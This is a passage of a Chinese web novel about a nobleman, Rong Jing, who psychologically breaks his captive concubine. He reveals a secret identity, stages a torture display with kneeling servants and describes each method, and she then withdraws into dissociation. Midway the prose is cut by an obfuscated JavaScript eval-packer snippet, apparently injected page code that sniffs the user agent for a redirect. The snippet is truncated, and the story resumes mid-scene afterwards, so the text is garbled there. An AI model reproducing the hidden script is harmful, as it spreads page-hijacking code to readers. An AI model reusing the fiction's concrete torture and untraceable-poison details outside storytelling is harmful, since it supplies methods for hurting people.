姜于归不是认命了,她是彻底清醒了,清醒的看穿了他布下的局,清醒地明白了自己真正的处境,然后,选择用更深的伪装来麻痹他,暗中谋划下一次,也许是最后一次逃离。 容璟放下密报,指尖在光滑的紫檀桌面上轻轻敲击。 他没有愤怒,反而有种奇异的,近乎兴奋的平静,就像猎手发现本以为已驯服的猎物,竟然偷偷磨利了爪子,试图反扑。 这挑战性,远比一只彻底臣服的雀鸟有趣得多。 他甚至能清晰的回溯姜于归觉醒的轨迹,从春菱打听永嘉行踪的过分谨慎,到朱雀大街那场偶然的相遇,再到她归来后那份过于完美的温顺...... 每一步,都是姜于归拼凑真相的挣扎,也是她走向更危险境地的脚印。 她以为看穿了他的局,却不知自己正走入他下一个局中。 他决定给她一个机会,一个让她自己暴露全部心思的机会,也让她彻底绝望的机会。 他需要一场更彻底的教育,让姜于归明白,无论她清醒与否,挣扎与否,她人生的所有路径,早已被容璟预先写定结局。 而最好的教材,莫过于让姜于归亲眼看见,那个曾给予她虚假希望,又亲手将她推入深渊的谢显璋,究竟是谁。 这日午后,容璟在汀兰水榭练字,忽而像是想起什么,抬头对侍立一旁的姜于归温声道:“前日太子命人送来一方新制的徽墨,据说墨色极佳,我放在书架第三层那方紫檀匣里了,你去取来,我试试墨。” 姜于归有些心不在焉,闻言心中一凛,立刻收敛心神,应了声是,朝着书房走去。 书架第三层......紫檀匣...... 姜于归的目光扫过排列整齐的书卷和匣盒,很快找到了目标。 那是一个不大的紫檀木匣,雕刻着简单的云纹,看起来与其他盛放文玩的匣子并无不同。 姜于归踮起脚,伸手去取,指尖触及木匣的瞬间,她忽然注意到,匣子旁边,随意搭着一方折叠起来的,质地特殊的深色织物。 那织物并非寻常绸缎,而是某种经过处理的,柔韧而略带粗粝感的棉麻,颜色是沉郁的深灰,边缘处隐约可见磨损的痕迹。 姜于归的心跳猛的漏了一拍。 这料子......她太熟悉了。 在破屋昏暗的光线下,在谢显璋身上,她不止一次见过类似质地的衣物,那时他穿着洗得发白的深灰劲装,袖口与衣襟处正是这般粗粝的触感,在烛火下泛着黯淡的,近乎于陈血的颜色。 姜于归几乎是本能的,不受控制地伸出手去触碰,指尖刚碰到那粗糙的纹理,还未及拿起,只听得“啪嗒——”一声轻响,有什么东西从那折叠的织物中滑脱,直直坠落在地。 姜于归僵住,视线一寸寸下移。 地上躺着的,是一张银质面具。 冷硬,森然,在书房幽暗的光线下泛着金属独有的,不带一丝温度的微光。 面具边缘有细微的划痕,嘴角处那道刻意加深的,近乎讥诮的弧度,与姜于归记忆中那张无数次在噩梦里浮现的脸,分毫不差。 是谢显璋的面具。 是她曾亲眼看着它覆在那张看不清面容的脸上,听着它后面发出低沉沙哑的声音,感受过它贴近时的冰冷威胁。 在国公府遇刺那夜,也是这张面具,在火把的映照下,反射出刺目的寒光。 血液仿佛瞬间冲上头顶,又在下一秒冻结成冰。 姜于归指尖僵硬,几乎要拿不稳那紫檀木匣。 容璟......谢显璋...... 这两个名字在姜于归脑中疯狂撞击,撕裂一切自欺欺人的侥幸。 那面具就这样摊在地上,像一个无声的,赤裸的嘲讽。 它不是被藏在暗格深处,不是被锁在隐秘的匣中,而是如此随意的搭在书架显眼处,用一块熟悉的粗布裹着,仿佛主人只是随手一放,随时会再拿起使用。 或者说......是刻意放在这里,放在姜于归一定会看到,一定会碰到的地方。 尽管心中早已断定,但当如此确凿的证物几乎毫无遮掩的出现在眼前,出现在容璟日常处理机密事务的书房里时,那股荒谬绝伦的恐惧与寒意,还是瞬间袭击了她的内心。 容璟怎么敢?他怎么敢就这样随意放在这里?是笃定姜于归永远不会发现,还是......根本不在乎她发现? 不,不对! 如果不在乎,何必演那出大戏?这更像是一种......试探?或者,一个陷阱? 电光石火间,无数念头在姜于归脑中冲撞。 她应该立刻拿起这面具,转身去质问容璟吗?还是应该装作没看见,只取走徽墨? 质问等于摊牌,等于承认姜于归已经看穿一切。 可她现在有什么资本摊牌?除了更激怒容璟,迎来更严密的监控甚至惩罚,她能得到什么? 装作没看见?可这东西出现在这里,本身就极不寻常。 容璟是那么谨慎的人,怎么会将可能暴露身份的东西随意放置?除非......他是故意的。 他是故意让她看到的! 这个认知让姜于归脊背发凉。 他想看她如何反应?惊慌失措?恐惧质问?还是......隐忍不发? 几乎是在本能驱使下,在理智尚未完全厘清利害之前,姜于归做出了选择。 她飞快的,近乎颤抖的将那块面具捡起来,然后重新放回原处,她稳了稳呼吸,尽量若无其事的把紫檀木匣抱在怀里,然后转身离去。 姜于归的步伐看似平稳,心跳却如擂鼓。 姜于归抱着紫檀匣回到汀兰水榭时,容璟已不在书案后。 他正临窗而立,手中把玩着一枚羊脂白玉镇纸,听见脚步声,也未回头。 室内静得只余姜于归自己的心跳。 “墨取来了?”容璟的声音温润如常。 “是。”姜于归将木匣轻轻放在书案上,指尖冰凉。 容璟这才转过身,目光先是落在匣上,随即缓缓上移,掠过姜于归微微绷紧的下颌,最后停驻在她低垂的眼睫上。 他看了她片刻,忽然极轻的笑了一声。 那笑声里没有愉悦,只有一种洞悉一切的,冰冷的了然。 容璟没有立刻去动那木匣,也没有再说话,但姜于归能感受到他的目光落在自己身上,沉甸甸的,带着无形的压力。 她垂着眼,盯着自己裙摆上精致的绣纹,指尖在袖中悄悄蜷缩。 半晌,容璟才伸手打开木匣,取出那方墨锭,置于掌心把玩。 他的动作慢条斯理,仿佛刚才那段令人窒息的询问和沉默并不存在。 容璟忽然开口,语气寻常:“这墨确是不错,纹理细腻,叩之声清。” 姜于归勉强应和:“太子殿下所赐,自是上品。” 容璟的指尖抚过墨锭光滑的表面,声音听不出情绪:“是啊,上品的东西,往往需要精心保管,稍有不慎,便可能蒙尘,甚至......碎裂。” 姜于归心头一紧,不知容璟意有所指。 容璟却不再多说,将墨锭放回匣中,抬眼看向她,目光平静无波:“没什么事了,你去歇着吧。” 姜于归如蒙大赦,几乎立刻屈膝行礼,转身就要退下,脚步刚迈出两步。 “对了。” 容璟的声音再次从身后传来,不高,却像一道冰线,瞬间钉住了她的脚步。 姜于归僵硬的回身。 容璟神情有些漫不经心,仿佛只是突然想起一件小事。 他缓缓问道,目光似是不经意地扫过她微微收紧的袖口:“方才取墨时,可曾看见什么别的东西了么?我放在匣子旁边的一方旧巾子?深灰色的,还有一块面具,大约是清理旧物时随手搁那儿的,一时忘了收。” 姜于归浑身一僵,心脏狠狠一缩,几乎要跳出喉咙,她猛的抬眸,对上容璟深不见底的眼睛,那里面没有疑惑,没有试探,只有一片沉静的,早已等待许久的幽暗。 姜于归的手死死拽住袖子,掌心瞬间被冷汗浸透。 她脑中飞快旋转,说没看见? 容璟既然问起,这个说辞显然漏洞百出。 最直接的反应是什么?一个依赖他的侧夫人,在书房看到一件疑似与谢显璋有关的物品,第一反应应该是恐惧,是立刻向他寻求庇护和确认! 可她刚才做了什么?她把它放回原处!因为她知道谢显璋就是容璟,她知道这证物意味着什么,她不想打草惊蛇,她想继续伪装,想暗中谋划! 这个行为本身,就是最大的破绽! 容璟根本不需要亲眼看见她藏东西,他只需要问出这句话,观察她的反应,就足以推断出一切。 而姜于归此刻瞬间苍白的脸色,眼中难以掩饰的惊慌,以及那下意识将手往袖中缩去的小动作......已经给出了答案。 姜于归张了张嘴,想扯出一个惊慌的表情,说妾身没注意有什么面具和巾子,可话到嘴边,却像被冻住了。 在容璟那双仿佛能洞悉一切幽微的平静目光下,任何伪装都显得苍白无力。 姜于归的沉默,她的反应,已经是最好的供词。 容璟看着她,忽然很轻的笑了一下,那笑声短促,几乎听不见,却带着一种尘埃落定的,冰冷的了然。 他没有继续追问,反而换了个话题,语气甚至算得上温和:“听闻你前几日在朱雀大街,遇见了永嘉公主?” 姜于归指尖冰凉,努力维持声音不颤:“是......偶遇。” 容璟继续开口,仿佛只是闲话家常:“她说了些什么?” 姜于归低声道:“无非是......一些教训妾身身份规矩的话。” “哦?” 容璟微微挑眉,继续道:“没有提点别的?比如......你之前失踪那几日,比如......谢显璋?” 他直接将这两件事抛了出来,如同两把淬毒的匕首,直刺姜于归最恐惧也最清醒的认知。 姜于归猛的抬眼,瞳孔骤缩,脸上最后一点血色也褪得干干净净。 他知道了!他真的什么都知道了!从她打听永嘉行踪,到街头的对话,到她此刻的反应......他早已将她的心思看得通透! 看着姜于归眼中瞬间崩塌的镇定,和几乎要溢出来的恐惧,容璟终于缓缓站起身。 他没有立刻走近,只是绕过书案,步履沉稳,如同巡视自己领地的猎手。 书房内光线明亮,将他清隽的身形拉长,投下一片带着压迫感的阴影。 容璟的声音不高,却字字清晰,敲打在姜于归紧绷的神经上:“永嘉她——根本不知道有谢显璋这个人曾挟持过你,更不知道你曾落入她手,因为——码头那些人,从来就不是她的人。” 他一步一步,不疾不徐的走近。 “赵成是我的人,五年前就进了府,码头那夜的公主府侍卫,大半是他安排的。” 姜于归随着容璟的逼近,下意识的向后退,一步,两步......直到脊背撞上冰冷的书架,退无可退。 容璟在她面前停下,距离近得能让她看清他眼中那片深不见底的幽暗,和眼底深处,一丝近乎残酷的平静。 “至于谢显璋......” 容璟微微俯身,视线与她齐平,抬手,用指背极其缓慢的,轻柔的拂过她冰冷煞白的脸颊。 他的指尖温热,触感却让她浑身颤栗。 “你不是都已经猜到了吗?” 容璟的声音压得极低,如同情人耳语,却带着令人毛骨悚然的寒意。 “从我的伤,从赵成,从永嘉的反应......你很聪明,于归。比我想象的,还要聪明一点。” 姜于归的呼吸彻底乱了,她死死咬着下唇,才能抑制住那几乎要冲破喉咙的尖叫和颤抖。 她想否认,想继续演下去,说世子您在说什么?妾身听不懂......是不是谢显璋又来了?他潜入府里了吗? 可这些话在舌尖打转,却一个字也吐不出来。 在这样绝对的,赤裸的真相面前,任何伪装都成了徒劳的笑话。 容璟似乎看穿了她最后的挣扎,他眼底那丝平静终于泛起一丝极淡的,近乎愉悦的波澜,那是猎手欣赏猎物最终无力逃脱时的眼神。 “还想装?” 容璟轻轻问,拇指摩挲着她冰凉的唇角:“看到谢显璋的东西,不是立刻来找我求救,而是假装没看见......为什么?因为你知道,那根本不是什么逆贼的物件,那就是我的东西。你知道了真相,却还想瞒着我,继续演你的乖顺戏码,然后......” 他顿了顿,语气陡然转冷,带着洞悉一切的锐利。 “然后,找机会,再一次逃离,是吗?” 最后几个字,如同重锤,狠狠砸在姜于归心上,将她最后一点侥幸也砸得粉碎。 她所有的谋划,所有小心翼翼隐藏的心思,在他面前,都像摊开的纸张,一览无余。 可怕的不是他的算计和欺骗,而是这种全盘被掌控,无所遁形的感觉,仿佛她走的每一步,甚至每一个念头,都早已落在他预设的轨道上。 她以为自己是在黑暗中摸索生路,却不知自己一直在他掌心划定的方寸之地内打转。 这种认知带来的恐惧,远比□□的伤害更令人绝望。 姜于归终于支撑不住,身体沿着书架缓缓滑下,瘫坐在地。 她仰头看着眼前逆光而立的男人,那张清隽温润,此刻看起来如此陌生,如此......可怕。 他不是人,是精心编织罗网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他用最残酷的方式,划定了她的疆界,碾碎了她的妄念,然后......或许会给她一段安分的,死寂的时光。 是姜于归太天真了。 就在她神思恍惚,准备歇下时,外间传来极轻的脚步声。 不是丫鬟,那步伐沉稳,清晰,带着不容错辨的熟悉感。 门被推开,容璟走了进来。 他已换了寝衣,外罩一件墨色绣银竹纹的宽袍,墨发半挽,眉眼在烛光下温润依旧,仿佛只是夜间闲步至此。 “这么早就歇了?” 他走到她面前,语气平淡得像在谈论天气,自然地伸手,将她从榻上拉了起来。 姜于归浑身僵硬,被他掌心传来的温热烫得微微一缩,却不敢挣脱。 “随我来,今夜月色尚可,园中走走。” 容璟语气温和,甚至带着一丝若有似无的邀请,手臂却已不容置疑地揽住了她的腰,半扶半抱地将她带出了内室。 夜风带着夏末的微凉,吹拂在脸上。 汀兰水榭连接着一片精巧的园子,假山亭台,曲水流觞,在月光下勾勒出朦胧的轮廓,本是赏心悦目的景致。 然而此刻,园子中央那片原本空置的平地上,景象却让姜于归的血液瞬间冻结。 姜于归的脚步猛地钉在原地。 空地上跪着三个人。 左边是瑟瑟发抖,面无人色的禾苗,瘦小的女孩被反绑着双手,嘴里塞着破布,只能发出“呜呜——”的闷哼。 她惊恐地瞪大了眼,脸上泪痕交错,拼命扭动着想看向姜于归的方向,却被身后面无表情的侍卫死死按住肩膀。 右边是秋实和素馨,她们比禾苗镇定些,背脊挺直,头深深低下,但紧握的拳头和微微颤抖的肩膀,泄露了她们内心的巨大恐惧。 她们是容璟的人,更清楚违背世子意志,办事不利的下场有多可怕。 血液瞬间从姜于归头顶褪去,四肢冰凉。 她明白了,全都明白了,真正的审判,原来在这里等着。 而在她们三人面前不远,月光冷冷地照在几件摆放在锦垫上的物事。不是刑具,看起来甚至有些“文雅”。 一卷粗糙的麻绳,几根长短不一的,打磨光滑的硬木条,一只小巧的铜盆,盆边搭着一块素白的手巾,还有一个更小的托盘,上面放着几包未拆封的药粉。 没有血迹,没有惨叫,没有狰狞的铁器。 可这过分干净的陈列,在清冷的月光和三个跪地的人影映衬下,比任何血腥场面都更让人毛骨悚然。 它像一场静默的,等待开幕的仪式。 说罢不等姜于归做出任何反应,腰间一紧,已被容璟带着向前几步,迫近那片令人窒息的光亮中心。 容璟揽着姜于归,停在了几步开外,恰好能将一切尽收眼底,又保持着一个观赏的距离。 他将她往怀里带了带,下颌轻轻抵着她的发顶,姿态亲密如情人私语。 “瞧,都在这儿了。” 容璟的声音在她头顶响起,平静无波,甚至带着一丝循循善诱的温和,如同在教导稚子辨认花草。 姜于归看着眼前的场景,颤抖的开口:“世子......这是做什么?” 容璟轻笑,在姜于归耳边低声呢喃道:“做什么?一会儿你就知道了!” 他微微俯身,薄唇贴近她冰凉的耳廓,气息温热,吐出的字句却淬着毒。 “这个——禾苗。一个南城棚户区卖唱乞食的小丫头,父母早亡,只剩一个咳血的老祖母。” 他的声音不高不低,恰好能让跪着的三人,尤其是剧烈颤抖的禾苗听清。 “因着去年某日,在街上得了一位‘贵人’偶然的施舍与援手,便记下了恩情。今年上元灯节后,竟胆大包天,将那位‘贵人’藏匿家中数日,供其衣食,助其隐匿......于归,你说,这算不算......窝藏钦犯,知情不报?” 姜于归浑身剧烈一颤。 容璟的手臂如铁箍般锁着她,让她动弹不得,只能眼睁睁看着禾苗绝望的泪眼。 他不需要刑具,不需要鞭笞,仅仅是这样轻描淡写地复述出禾苗最珍视的家人,和最恐惧的罪名,就已是最残忍的凌迟。 “至于这两个——” 容璟的目光扫过秋实和素馨,语气淡漠得像在评价两件失职的器具。 “秋实,素馨,看护不力,屡次失职。按府规,按律例,或打或卖或撵,都是轻的,重则——杖毙。” 秋实的背脊几不可察地晃了一下,素馨的拳头攥得更紧,指甲几乎掐进肉里。 容璟终于将唇从姜于归耳畔移开,转而用指尖轻轻抬起她煞白的脸,迫使她正视眼前的一切。他的眼眸在灯火下深不见底,映着她惊骇破碎的倒影。 “你看,她们的罪,桩桩件件,起因皆在你,若非你逃,禾苗不必冒险藏匿‘钦犯’,此刻或许正用乞来的铜板为祖母抓药。” “若非你不乖,秋实素馨不必因你的差事而日夜悬心,她们或许仍是府中得力的一等丫鬟,前程稳妥。” 他的声音越来越缓,越来越清晰,每个字都像冰锥,凿进姜于归摇摇欲坠的神志。 “都是因为你,连累了这无知孩童一家可能面临的流放或充役,是你那自以为是的机巧,拖累了这两个本可分得不错前程的奴婢,让她们如今跪在这里,生死由我——亦由你。 容璟的拇指缓缓摩挲过她颤抖的下唇,动作狎昵,眼神却冰冷如渊:“你说,她们今日若受皮肉之苦,若就此没了性命,这笔债,该记在谁头上,嗯?” 夜风穿过庭院,带来远处隐约的更鼓声。 灯火通明之下,跪地的三人构成一幅诡异而残酷的图景。 姜于归张了张嘴,却发不出任何声音。 巨大的罪恶感与无力感如同沼泽,将她吞没。 她看着禾苗那双满是泪水,充满不解与祈求的眼睛,看着秋实和素馨死寂般的侧影,容璟的话语在她脑中疯狂回荡,生根。 是你。都是因为你。 猎手不仅圈禁了她的身体,更将名为罪孽的枷锁,死死焊在了她的灵魂上。 从此,她每一次呼吸,都可能牵动他人的厄运,她每一点不安分的念头,都将先掠过这三张恐惧的脸。 这才是真正的囚笼。无影无形,却比任何玄铁镣铐都更令人绝望。 紧接着,容璟的声音在她头顶响起,平静无波,甚至带着一丝温和的讲解意味。 “绳子,浸了水,绞紧时不会立刻伤皮肉,但会慢慢嵌入骨缝,久了,手指脚趾便会坏死,一点点脱落。 这诫尺。打在掌心,声音清脆,不会破皮,但力道透进去,骨子里的疼,十天半月都消不了,提笔拿箸都困难。 冷水浸透的巾子,覆在脸上,一层,两层......呼吸被一点点夺走的感觉,据说像沉在最深最冷的湖底。 这些更简单,一些让人腹泻虚脱却查不出毒的药,一些让人皮肤发痒溃烂却不致命的粉。死不了人,只是......活着比较难受......” 他语气平淡地介绍着,如同在品评古玩字画。每说一样,姜于归的身体就控制不住地颤抖一下。 她终于明白他带她出来的目的,他要她看见,要她知道,要她亲自丈量因为她而可能降临在他人头上的,每一种具体而微的痛苦。 姜于归的呼吸凝滞在喉间,耳边嗡嗡作响。 容璟那平淡如水的嗓音仍在继续,像在念一份冗长无趣的清单。 “若说见血的法子,自然也有。凌迟用的渔网,勾住皮肉凸起处,一片片剔下来,据说技艺好的,能剔上千片人还不咽气。剜膝的弯钩,从骨缝里进去,轻轻一拧,膝盖就碎了,人从此站不起来,也跪不下去。还有炮烙......” 他顿了顿,侧过脸,在明灭的灯火下细细端详姜于归惨白如纸的面容。 那目光里竟浮起一丝近乎歉意的,温柔的涟漪。 “不过那些太腌臜了。” 容璟叹了口气,感受着怀里不知道是因为寒冷还是因为恐惧而颤抖的姜于归,指尖拂过她冰凉的脸颊,动作轻柔得令人毛骨悚然:“血淋淋的,看多了惊梦。你身子又弱,吓着了,我还得费心给你调养。” 他微微弯下腰,气息拂在她额前碎发上,用情人夜话般的低柔嗓音,体贴入微地解释。 “所以我想,就用方才说的那些吧。绳子,诫尺,湿巾子,再配些不伤根本的药粉......听起来虽也难熬,但至少不见血,不破相,好得快些。于归,你看,我替你想着呢。” 替她......想着? 姜于归猛地一颤,替她想着? 若真怕吓着她,今夜这一切都不会发生! 若真怜她身子弱,禾苗此刻就该在破屋里守着咳血的祖母,而不是跪在这冰冷刺骨的庭院中央,像只待宰的羔羊! 他哪里是体贴,他分明是将最残忍的酷刑掰开揉碎,裹上这层名为体贴的糖霜,逼着她一口一口吞下去,还要她看见他的用心良苦。 这些不见血的刑罚,比刀砍斧劈更阴毒百倍。 它们不急着一击毙命,而是要人清醒地,一寸一寸地感知痛苦,感知身体一部分一部分地坏死,脱落,腐烂......在漫长的折磨里,将活着本身变成最恐怖的刑求。 而他故意提起那些更血腥的手段,再轻飘飘地放下,施恩般地说不用了。 这哪里是仁慈? 这是一个再清晰不过的警告,一把悬在所有人头顶,摇摇欲坠的利刃。 你看,我手里还有更可怕的东西。现在不用,是因为你听话。 如果哪天你不听话了—— 姜于归的视线死死胶着在禾苗那双被粗糙绳索磨出红痕的细瘦手腕上,仿佛已经看见那不会立刻伤皮肉的湿绳正慢慢绞紧,嵌入女孩的骨缝,看见那声音清脆的诫尺重重落在秋实素馨摊开的掌心,震得她们指骨发麻,日后连端一碗茶都颤抖不止,看见湿冷的布一层层覆上谁的口鼻,将求生不得的窒息感烙印进灵魂深处...... 更可怕的是那些查不出毒的药,不致命的粉。那是钝刀子割肉,是让人在无尽的虚弱,瘙痒,溃烂和耻辱中,一点点磨掉为人的尊严。 容璟的声音将她从血淋淋的臆想中拽回,他捧着她的脸,迫使她仰头,望进他深不见底的眼眸。那里面没有半分戏谑,只有一种近乎残酷的认真。 “你说,先从谁开始呢?是那个最弱,哭声最小的禾苗,还是这两个我用了多年,却总让你钻了空子的婢女?” “不......不要......” 姜于归终于发出了声音,嘶哑破碎,泪水汹涌而出,她挣扎着想转身哀求,却被容璟铁箍般的手臂死死固定住,只能徒劳地看着月光下那三个跪着的身影和那些静默的刑具。 “求我?” 容璟低笑了一声,那笑声里没有愉悦,只有冰冷的掌控:“你拿什么求?你的眼泪?你的保证?于归,你这些......在我这里,早已一文不值。” 他强迫她看着前方,声音如淬毒的冰凌,一字一字钉入她的心脏:“记住这个夜晚,记住她们跪在这里的样子。从今往后,你不再只是你自己。你的骨头,连着她们的安危,你的乖巧,系着她们的性命。你每让自己不舒服一分,我就会让她们不舒服十分。这才叫牵连。” 陡然冷厉的声音结束,容璟的语气再次变得轻柔,却比厉声呵斥更令人胆寒。 “我知道于归故意装作冷漠,但其实很心善,那我给你机会。用你全部的听话,来供养你这点可笑的善良吧。看看是你的骨头硬,还是她们......熬得住。” 姜于归彻底崩溃了,她泪意汹涌,哭的急促,嘴里不断说着:“我错了,我不会在逃了,真的不会在逃了,你信我,你信我!” 说罢,她双腿一软,就要朝着那三个身影跪下去,仿佛想用自己来抵挡那无形的厄运。但容璟的手臂强硬地托住了她,不让她跪倒。 “跪?” 他声音冷硬:“你连下跪认错的资格,都是我给的。我不让你跪,你就得给我好好站着,看清楚,听明白!” 姜于归已经哭的不能自已,在容璟怀里瘫软下去,所有的力气,所有的意志都被抽空,只剩下无边无际的恐惧和绝望。 她终于明白了,这不是结束,而是开始。 一个将她与无辜者的苦难永久捆绑,将她的每一次呼吸都置于道德烤刑架上的,永恒的开始,她只能重复着刚才的话语。 “我......我不会了......真的不会了......” 她泣不成声,语无伦次地重复着,不知是在向容璟保证,还是在向那月光下沉默的三人忏悔:“求你......别伤害无辜......都是我的错......都是我......” 容璟没有再说话。他只是静静地抱着她,让她在自己怀中颤抖,哭泣,哀求。 月光将他们的影子拉长,纠缠在一起,像一个无法挣脱的黑色图腾。 他看着怀中彻底溃败的人儿,看着她眼中最后一点属于姜于归的倔强光芒彻底熄灭,只剩下彻底的恐惧与服从。 一丝极淡的,近乎满足的幽光,掠过他深不见底的眼眸。 猎手终于完成了最后的圈禁。 不仅锁住了猎物,更将猎物的良心,善念,对自由的所有渴望,都变成了锁链本身。 从此,这座囚笼,将由内而外,坚不可摧。 “是吗?于归知道错了?那你要记好今天。记好她们跪在这里的样子,记好我方才说的每一句话,每一种体贴的安排。” 他的拇指缓缓抚过她颤抖的唇瓣,声音压得极低,却字字砸在她心上。 “你安分一日,她们便能少受一日的罪,那些更腌臜的东西,就永远只是我嘴里吓唬你的话。你若再起不该有的心思,再让我觉得你不乖......” 他顿了顿,没有说完。 但未尽之言比任何恐吓都更森然可怖。庭院里死寂无声,连风声都仿佛屏住了呼吸。 跪着的三人,连最镇定的秋实,肩头都几不可察地瑟缩了一下。 容璟终于松开了钳制她下颌的手,转而将她冰凉的手拢在自己温热的掌心,轻轻揉捏着,仿佛真的只是在安抚受惊的爱宠。 他语气恢复了一贯的平淡温和,仿佛方才那番令人骨髓发寒的话语只是幻听:“夜深了,风凉,回去吧。” 他揽着她转身,不再看院子里跪着的人影一眼,仿佛她们只是无关紧要的布景。 姜于归被他带着,踉跄地迈开脚步。每一步都像踏在刀尖上。 她不敢回头,却能清晰地感觉到背后三道目光,禾苗绝望的哀求,秋实素馨死寂的顺从,如同实质的鞭子,抽打在她早已千疮百孔的脊背上。 容璟的体贴,是裹着蜜糖的砒霜。 他的不吓唬,是最顶级的恐吓。 他将选择权看似交给了她,实则早已焊死了结局,她若想护住这些人的一线生机,就必须亲手将自己钉死在这座华丽的囚笼里,将灵魂也一并献祭,成为他掌中一件真正完美的,了无生气的藏品。 这才是他今夜,真正要她明白的下场。 夜还很长,月光无声地流淌,笼罩着园中跪地的人,笼罩着那些静默的物事,也笼罩着这具相拥却隔着一整个地狱的躯壳。 106. 第 106 章 夜风穿过空寂的庭院,带走了一丝残余的,无形的血腥气。 那场月光下的无声刑审,仿佛已被夜色彻底吞没。 汀兰水榭内,灯火通明,却死寂得可怕。 姜于归被容璟带回内室后,便安静地蜷在床榻最里侧,不言不动。 起初,容璟以为她只是惊吓过度后的虚脱与沉默,是又一次需要时间舔舐伤口的表现。他甚至带着一种近乎餍足的平静,亲自为她掖好被角,指尖拂过她冰凉汗湿的额发。 “睡吧。明日醒来,一切如旧。” 他以为的如旧,是那个虽然恐惧,怨恨,却依旧清醒,依旧会用那双带着隐忍光芒的眼睛与他对视,甚至暗自筹谋的姜于归。 可他错了。 开始几日,姜于归只是异常沉默。 容璟同她说话,她反应总要慢上半拍,那双曾经盈满倔强,恐惧或算计的眼睛,如今常常空茫茫地望着一处,半晌,才极轻的嗯一声,或是迟缓地点点头。动作也带着一股滞涩的黏连感,像生锈的机括。 容璟起初只当她是那夜吓狠了,心神未定。 他甚为满意于这份彻底的乖顺,甚至带着几分施恩般的体恤,亲口告诉她:“秋实和素馨已回去当差了,禾苗那丫头也送回去了,一根头发都没少。” 他说话时,目光如鹰隼般锁着她的脸,不放过任何一丝细微的颤动。 姜于归坐在窗边,听了这话,只是怔怔地望着窗外被框住的天空。 许久,久到容璟几乎要失去耐心,她才极慢地转过头,眼神聚焦在他脸上,却又仿佛穿透了他,看向更虚无的所在。 “嗯。” 她应了一声,声音轻得像呵气,脸上没有任何如释重负,也没有感激,只有一片纯粹的,孩童般的迷茫。 容璟心底那根警惕的弦,蓦的绷紧了。 他不信。 这迷茫太刻意,这迟钝太像表演。 他见识过她太多伪装,从感恩到依赖,从恐惧到温顺。 如今这痴傻,莫不是又一重更高明,更孤注一掷的伎俩?想让他放松警惕,以为她再无威胁? 容璟倾身,指尖抚上姜于归冰凉的脸颊,声音压得极低,温柔似水,却字字淬毒:“于归,这样很好。就这样,一直这么乖下去。记住那晚的话,你的乖,是她们平安的价码。若让我发现你这乖里头,有一丝一毫是假的......” 他故意停顿,等着看她瞳孔收缩,或睫毛颤抖。 可姜于归只是依旧用那种空茫的眼神看着他,仿佛听不懂他话语里骇人的含义,又仿佛听懂了,却无法在混沌的意识里激起任何涟漪。 她甚至微微偏了偏头,将脸颊更贴向他温热的掌心,像一只寻求安抚却不知恐惧为何物的幼兽。 容璟的手几不可察地僵了一瞬。 他收回手,面上不显,心底却掠过一丝极其细微的,连自己都不愿承认的异样。 他没再多言,转身离开,步伐依旧沉稳,却比平日快了一丝。 接下来几日,秋实和素馨伺候得越发胆战心惊。 夫人不再询问任何事,对起居饮食毫无意见,让做什么便做什么。 可她们递上茶水,她有时会愣着不接,直到轻声提醒,她才如梦初醒般接过,却又忘了喝。 她能在窗边一动不动坐上两个时辰,眼神没有焦点,仿佛灵魂已经抽离。 “世子......” 素馨大着胆子,在回话时低声禀报:“夫人她......奴婢瞧着,精神似乎有些......不大对劲。并非只是惊吓,倒像是......神思不属,魂不守舍。” 秋实也跪在一旁,补充道:“夫人连昨日才见过一面的管事嬷嬷,今日再见,竟似全然不识。” 容璟坐在书案后,闻言,神色未动,只淡淡道:“知道了。” 他自然知道。 他比任何人都更密切的观察着姜于归每一个细微的变化。 他起初笃定是伪装,可时日稍长,那迷茫过于恒定,过于......浑然天成。 若真是伪装,那她的心智与毅力,未免可怕到了非人的地步。 容璟不信世上有他看不穿的伪装,更不信一场恐吓,就能真将人吓成痴儿。 是时候揭穿了。 他命人唤来常为府中女眷看诊,口风最严的老府医,理由冠冕堂皇:“夫人前些时日受了些惊吓,近来神思倦怠,饮食懒进,你且去细细诊看,开些宁神安心的方子。” 府医领命而去。 容璟并未亲临,只坐在书房,手里拿着一卷书,却许久未翻一页。 他等着,等着府医回来,带着夫人脉象平稳,只是忧思过度或略有心虚气弱之兆这类寻常结论,然后,他便会亲自去“安抚”他那试图装疯卖傻的侧夫人,用更直接的方式,撕破这层可笑的保护色。 时间一点点流逝。 终于,书房门被轻轻叩响,老府医躬身进来,面色是罕见的凝重,甚至带着几分惶惑不安。 容璟放下书卷,语气平静:“如何?” 老府医跪倒在地,声音带着医者面对疑难重症时的谨慎与不确定:“回世子,夫人脉象......颇为奇特。寸关尺三部脉皆现细涩之象,尤以左寸为甚,此乃心神严重受损之兆。观其瞳神,涣散不聚,问之少应,答非所问,或良久方有一言......此非寻常惊悸怔忡。” 他顿了顿,似乎在斟酌极为罕见的词汇:“依老朽浅见,夫人此症,似与古医籍所载离魂之症相符。乃因骤遇大恐大悲,惊悸伤及心包,以致神不守舍,魂不归位......通俗而言,便是神智已与当下剥离,或陷于旧日惊怖之幻境,或退守至混沌未明之地,外界人事,已难入其心。” 容璟捏着书卷的手指,微微收紧。 书房内一片死寂。 “离魂之症?” 他重复这四个字,声音听不出情绪:“你是说,她......真的疯了?不是装模作样?” 府医将头垂得更低:“老朽行医数十载,惊悸失心之症见过不少,伪装者眼神总有闪烁回避,脉象亦难长久维持此等细涩涣散之象。夫人之状......浑然天成,无作伪痕迹。且此症凶险,若不能对症疏解,慢慢引导,恐......神智难复,长久如此。” 良久,容璟才缓缓道:“下去吧。今日诊断,不得对外透露半字。” “老朽明白。” 府医退下后,书房里只剩下容璟一人。 窗外日影西斜,在他清隽的侧脸上投下浓重的阴影。 他坐在那里,许久未动。 预想中的揭穿没有到来,预想中的愤怒也没有升起,甚至没有多少意外的情绪。 只有一片空茫的,冰冷的,甚至带有一丝荒谬感的死寂。 他算无遗策,将她的反抗,恐惧,软肋,甚至那点可笑的善良都算计进去,织成一张她绝对无法挣脱的网。 容璟成功了,姜于归确实再也无法挣脱。 可他没算到,网中的鸟儿,会选择啄断自己的舌头,撕碎自己的羽翼,把自己变成一滩没有声音,没有形状,也不再向往天空的血肉。 他得到了他最想要的乖顺。 